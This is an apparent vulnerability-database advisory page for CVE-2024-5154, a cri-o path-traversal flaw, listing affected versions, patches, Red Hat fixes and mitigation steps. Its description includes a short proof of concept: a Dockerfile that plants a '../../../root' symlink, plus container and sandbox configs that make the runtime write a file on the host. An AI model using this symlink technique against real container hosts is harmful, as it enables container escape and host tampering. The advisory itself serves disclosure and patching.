CVE-2024-5154 — cri-o
HIGHCVE-2024-5154 is a high-severity (CVSS 8.1) Path Traversal vulnerability in github.com/cri-o/cri-o. A fix is available for github.com/cri-o/cri-o — see the affected versions and patch details below.
Cri-o: malicious container can create symlink on host
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-5154.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/cri-o/cri-o🐹github.com/cri-o/cri-o🐹github.com/cri-o/cri-oReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
and this container config:
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
will create a file on host /host/mtab
Patches
1.30.1, 1.29.5, 1.28.7
Workarounds
Unfortunately not
References
Are there any links users can visit to find out more?
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/cri-o/cri-o | ≥ 1.28.6&&< 1.28.7 | 1.28.7go get github.com/cri-o/cri-o@v1.28.7 |
| 🐹Go | github.com/cri-o/cri-o | ≥ 1.29.4&&< 1.29.5 | 1.29.5go get github.com/cri-o/cri-o@v1.29.5 |
| 🐹Go | github.com/cri-o/cri-o | ≥ 1.30.0&&< 1.30.1 | 1.30.1go get github.com/cri-o/cri-o@v1.30.1 |
Affected Products
cri-okubernetesopenshift container platformredhatDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/cri-o/cri-o, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/cri-o/cri-o to 1.28.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-5154 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Red Hat OpenShift Container Platform (OCP) includes the vulnerable cri-o library, however it does not load untrusted container, therefore impact is reduced to Important.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat OpenShift Container Platform 4.12 | cri-o-0:1.25.5-21.2.rhaos4.12.gita3eb75f.el8 | RHSA-2024:4008 |
| Red Hat OpenShift Container Platform 4.13 | cri-o-0:1.26.5-18.2.rhaos4.13.git2e90133.el8 | RHSA-2024:4486 |
| Red Hat OpenShift Container Platform 4.14 | cri-o-0:1.27.7-3.rhaos4.14.git674563e.el8 | RHSA-2024:3700 |
| Red Hat OpenShift Container Platform 4.15 | cri-o-0:1.28.7-2.rhaos4.15.git111aec5.el8 | RHSA-2024:3676 |
| Red Hat OpenShift Container Platform 4.16 | cri-o-0:1.29.5-7.rhaos4.16.git7db4ada.el8 | RHSA-2024:4159 |
| Red Hat OpenShift Container Platform 4.17 | openshift/ose-rhel-coreos-9:417.94.202412040832-0 | RHSA-2024:10818 |
Frequently Asked Questions
Is CVE-2024-5154 in your dependencies?
Find it across Go, including transitive dependencies.